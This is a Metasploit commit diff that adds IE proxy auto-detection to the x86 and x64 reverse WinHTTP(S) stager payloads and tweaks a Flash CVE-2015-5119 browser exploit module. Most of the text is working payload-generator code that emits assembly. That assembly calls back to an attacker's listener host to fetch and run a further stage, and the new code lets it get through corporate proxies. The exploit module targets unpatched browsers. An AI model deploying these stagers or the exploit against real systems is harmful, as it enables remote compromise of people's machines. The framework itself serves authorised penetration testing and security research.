Land #5411, proxy support for winhttp stagers

bug/bundler_fix
Brent Cook 2015-07-07 23:23:19 -05:00
commit a12c84d537
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
7 changed files with 295 additions and 29 deletions

View File

@ -1,9 +1,6 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
require 'msf/core/payload/windows/reverse_http'
module Msf
@ -16,23 +13,31 @@ module Msf
module Payload::Windows::ReverseWinHttp
include Msf::Payload::TransportConfig
include Msf::Payload::Windows::ReverseHttp
#
# Register reverse_winhttp specific options
#
def initialize(*args)
super
register_advanced_options([
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
], self.class)
end
#
# Generate the first stage
#
def generate(opts={})
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['StagerRetryCount']
host: datastore['LHOST'] || '127.127.127.127',
port: datastore['LPORT']
}
# Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:uri] = generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost']
@ -41,9 +46,10 @@ module Payload::Windows::ReverseWinHttp
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:retry_count] = datastore['StagerRetryCount']
conf[:proxy_ie] = datastore['PayloadProxyIE']
else
# Otherwise default to small URIs
conf[:url] = generate_small_uri
conf[:uri] = generate_small_uri
end
generate_reverse_winhttp(conf)
@ -107,7 +113,7 @@ module Payload::Windows::ReverseWinHttp
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :uri The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
@ -119,9 +125,22 @@ module Payload::Windows::ReverseWinHttp
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_uri = asm_generate_wchar_array(opts[:uri])
encoded_host = asm_generate_wchar_array(opts[:host])
# this is used by the IE proxy functionality when an autoconfiguration URL
# is specified. We need the full URL otherwise the call to resolve the proxy
# for the URL doesn't work.
full_url = 'http'
full_url << 's' if opts[:ssl]
full_url << '://' << opts[:host]
full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443
full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80
full_url << opts[:uri]
encoded_full_url = asm_generate_wchar_array(full_url)
encoded_uri_index = full_url.rindex('/') * 2
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
@ -166,6 +185,14 @@ module Payload::Windows::ReverseWinHttp
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
end
ie_proxy_autodect = (
0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A
ie_proxy_flags = (
0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
@ -220,14 +247,34 @@ module Payload::Windows::ReverseWinHttp
^
end
if opts[:proxy_ie] == true && !proxy_enabled
asm << %Q^
push eax ; Session handle is required later for ie proxy
^
end
asm << %Q^
WinHttpConnect:
push ebx ; Reserved (NULL)
push #{opts[:port]} ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in edi for later
db #{encoded_url}
^
if opts[:proxy_ie] == true && !proxy_enabled
asm << %Q^
db #{encoded_full_url}
got_server_host:
add edi, #{encoded_uri_index} ; move edi up to where the URI starts
^
else
asm << %Q^
db #{encoded_uri}
got_server_host:
^
end
asm << %Q^
push eax ; Session handle returned by WinHttpOpen
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}
call ebp
@ -277,6 +324,86 @@ module Payload::Windows::ReverseWinHttp
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')}
call ebp
^
elsif opts[:proxy_ie] == true
asm << %Q^
; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
; a 16-byte structure
sub esp, 16
mov eax, esp ; store a pointer to the buffer
push edi ; store the current URL in case it's needed
mov edi, eax ; put the buffer pointer in edi
push edi ; Push a pointer to the buffer
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')}
call ebp
test eax, eax ; skip the rest of the proxy stuff if the call failed
jz ie_proxy_setup_finish
; we don't care about the "auto detect" flag, as it doesn't seem to
; impact us at all.
; if auto detect isn't on, check if there's an auto configuration URL
mov eax, [edi+4]
test eax, eax
jz ie_proxy_manual
; restore the URL we need to reference
pop edx
sub edx, #{encoded_uri_index} ; move edx up to where the full URL starts
; set up the autoproxy structure on the stack
push 1 ; fAutoLogonIfChallenged (1=TRUE)
push ebx ; dwReserved (0)
push ebx ; lpReserved (NULL)
push eax ; lpszAutoConfigUrl
push #{ie_proxy_autodect} ; dwAutoDetectFlags
push #{ie_proxy_flags} ; dwFlags
mov eax, esp
; prepare space for the resulting proxy info structure
sub esp, 12
mov edi, esp ; store the proxy pointer
; prepare the WinHttpGetProxyForUrl call
push edi ; pProxyInfo
push eax ; pAutoProxyOptions
push edx ; lpcwszUrl
lea eax, [esp+64] ; Find the pointer to the hSession - HACK!
push [eax] ; hSession
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')}
call ebp
test eax, eax ; skip the rest of the proxy stuff if the call failed
jz ie_proxy_setup_finish
jmp set_ie_proxy ; edi points to the filled out proxy structure
ie_proxy_manual:
; check to see if a manual proxy is specified, if not, we skip
mov eax, [edi+8]
test eax, eax
jz ie_proxy_setup_finish
; manual proxy present, set up the proxy info structure by patching the
; existing current user IE structure that is in edi
push 4
pop eax
add edi, eax ; skip over the fAutoDetect flag
dec eax
mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
; fallthrough to set the ie proxy
set_ie_proxy:
; we assume that edi is going to point to the proxy options
push 12 ; dwBufferLength (sizeof proxy options)
push edi ; lpBuffer (pointer to the proxy)
push 38 ; dwOption (WINHTTP_OPTION_PROXY)
push esi ; hRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
call ebp
ie_proxy_setup_finish:
^
end
if opts[:ssl]

View File

@ -16,20 +16,29 @@ module Payload::Windows::ReverseWinHttp_x64
include Msf::Payload::Windows::ReverseHttp_x64
#
# Register reverse_winhttp specific options
#
def initialize(*args)
super
register_advanced_options([
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
], self.class)
end
#
# Generate the first stage
#
def generate(opts={})
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['StagerRetryCount']
host: datastore['LHOST'] || '127.127.127.127',
port: datastore['LPORT']
}
# Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:uri] = generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost']
@ -37,9 +46,11 @@ module Payload::Windows::ReverseWinHttp_x64
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:retry_count] = datastore['StagerRetryCount']
conf[:proxy_ie] = datastore['PayloadProxyIE']
else
# Otherwise default to small URIs
conf[:url] = generate_small_uri
conf[:uri] = generate_small_uri
end
generate_reverse_winhttp(conf)
@ -104,7 +115,7 @@ module Payload::Windows::ReverseWinHttp_x64
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :uri The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
@ -116,9 +127,22 @@ module Payload::Windows::ReverseWinHttp_x64
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_uri = asm_generate_wchar_array(opts[:uri])
encoded_host = asm_generate_wchar_array(opts[:host])
# this is used by the IE proxy functionality when an autoconfiguration URL
# is specified. We need the full URL otherwise the call to resolve the proxy
# for the URL doesn't work.
full_url = 'http'
full_url << 's' if opts[:ssl]
full_url << '://' << opts[:host]
full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443
full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80
full_url << opts[:uri]
encoded_full_url = asm_generate_wchar_array(full_url)
encoded_uri_index = full_url.rindex('/') * 2
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
@ -156,6 +180,14 @@ module Payload::Windows::ReverseWinHttp_x64
http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE
end
ie_proxy_autodect = (
0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A
ie_proxy_flags = (
0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL
asm = %Q^
xor rbx, rbx
load_winhttp:
@ -209,7 +241,15 @@ module Payload::Windows::ReverseWinHttp_x64
push rbx ; dwFlags (0)
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}; WinHttpOpen
call rbp
^
if opts[:proxy_ie] == true && !proxy_enabled
asm << %Q^
mov r12, rax ; Session handle is required later for ie proxy
^
end
asm << %Q^
call load_server_host
db #{encoded_host}
load_server_host:
@ -221,12 +261,34 @@ module Payload::Windows::ReverseWinHttp_x64
call rbp
call winhttpopenrequest
db #{encoded_url}
^
if opts[:proxy_ie] == true && !proxy_enabled
asm << %Q^
db #{encoded_full_url}
^
else
asm << %Q^
db #{encoded_uri}
^
end
asm << %Q^
winhttpopenrequest:
mov rcx, rax ; hConnect
push rbx
pop rdx ; pwszVerb (NULL=GET)
pop r8 ; pwszObjectName (URI)
^
if opts[:proxy_ie] == true && !proxy_enabled
asm << %Q^
mov r13, r8 ; store a copy of the URL for later
add r8, #{encoded_uri_index} ; move r8 up to where the URI stars
^
end
asm << %Q^
xor r9, r9 ; pwszVersion (NULL)
push rbx ; stack alignment
mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags
@ -270,6 +332,83 @@ module Payload::Windows::ReverseWinHttp_x64
^
end
if opts[:proxy_ie] == true && !proxy_enabled
asm << %Q^
; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
; a 32-byte structure
sub rax, 32
mov rdi, rsp ; save a pointer to this buffer
mov rcx, rdi ; this buffer is also the parameter to the function
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')} ; WinHttpGetIEProxyConfigForCurrentUser
call rbp
test eax, eax ; skip the rest of the proxy stuff if the call failed
jz ie_proxy_setup_finish
; we don't care about the "auto detect" flag, as it doesn't seem to
; impact us at all.
; check if there's an auto configuration URL
mov rax, [rdi+8]
test eax, eax
jz ie_proxy_manual
; set up the autoproxy structure on the stack and get it ready to pass
; into the target function
mov rcx, rbx
inc rcx
shl rcx, 32
push rcx ; dwReserved (0) and fAutoLoginIfChallenged
push rbx ; lpvReserved (NULL)
push rax ; lpszAutoConfigUrl
mov rax, #{ie_proxy_flags | ie_proxy_autodect << 32} ; dwAutoDetectFlags and dwFlags
push rax
mov r8, rsp ; put the structure in the parameter list
; prepare the proxy info buffer, 32 bytes required
sub rsp, 32
mov rdi, rsp ; we'll need a pointer to this later
mov r9, rdi ; pass it as the 4th parameter
; rest of the parameters
mov rcx, r12 ; hSession
mov rdx, r13 ; lpcwszUrl
; finally make the call
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')} ; WinHttpGetProxyForUrl
call rbp
test eax, eax ; skip the rest of the proxy stuff if the call failed
jz ie_proxy_setup_finish
jmp set_ie_proxy ; rdi points to the filled out proxy structure
ie_proxy_manual:
mov rax, [rdi+16] ; check for the manual proxy
test eax, eax
jz ie_proxy_setup_finish
add rdi, 8
push 3
pop rax
mov [rdi], rax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
; fallthrough to set the ie proxy
set_ie_proxy:
; we assume that rdi is going to point to the proxy options
mov r8, rdi ; lpBuffer (proxy options)
push 24
pop r9 ; dwBufferLength (size of proxy options)
mov rcx, rsi ; hConnection (connection handle)
push 38
pop rdx ; (38=WINHTTP_OPTION_PROXY)
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
call rbp
ie_proxy_setup_finish:
^
end
if retry_count > 1
asm << %Q^
push #{retry_count}

View File

@ -6,7 +6,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer
@ -19,7 +19,6 @@ class Metasploit3 < Msf::Exploit::Remote
described as an Use After Free while handling ByteArray objects. This module has
been tested successfully on:
Windows XP, Chrome 43 and Flash 18.0.0.194,
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194,
@ -35,9 +34,10 @@ class Metasploit3 < Msf::Exploit::Remote
],
'References' =>
[
['CVE', '2015-5119'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-03.html'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'],
['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816'],
['CVE', '2015-5119']
['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816']
],
'Payload' =>
{
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::CHROME
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end

View File

@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_winhttp'
module Metasploit4
CachedSize = 327
CachedSize = 357
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_winhttps'
module Metasploit4
CachedSize = 347
CachedSize = 377
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttp'
module Metasploit4
CachedSize = 510
CachedSize = 532
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttps'
module Metasploit4
CachedSize = 541
CachedSize = 563
include Msf::Payload::Stager
include Msf::Payload::Windows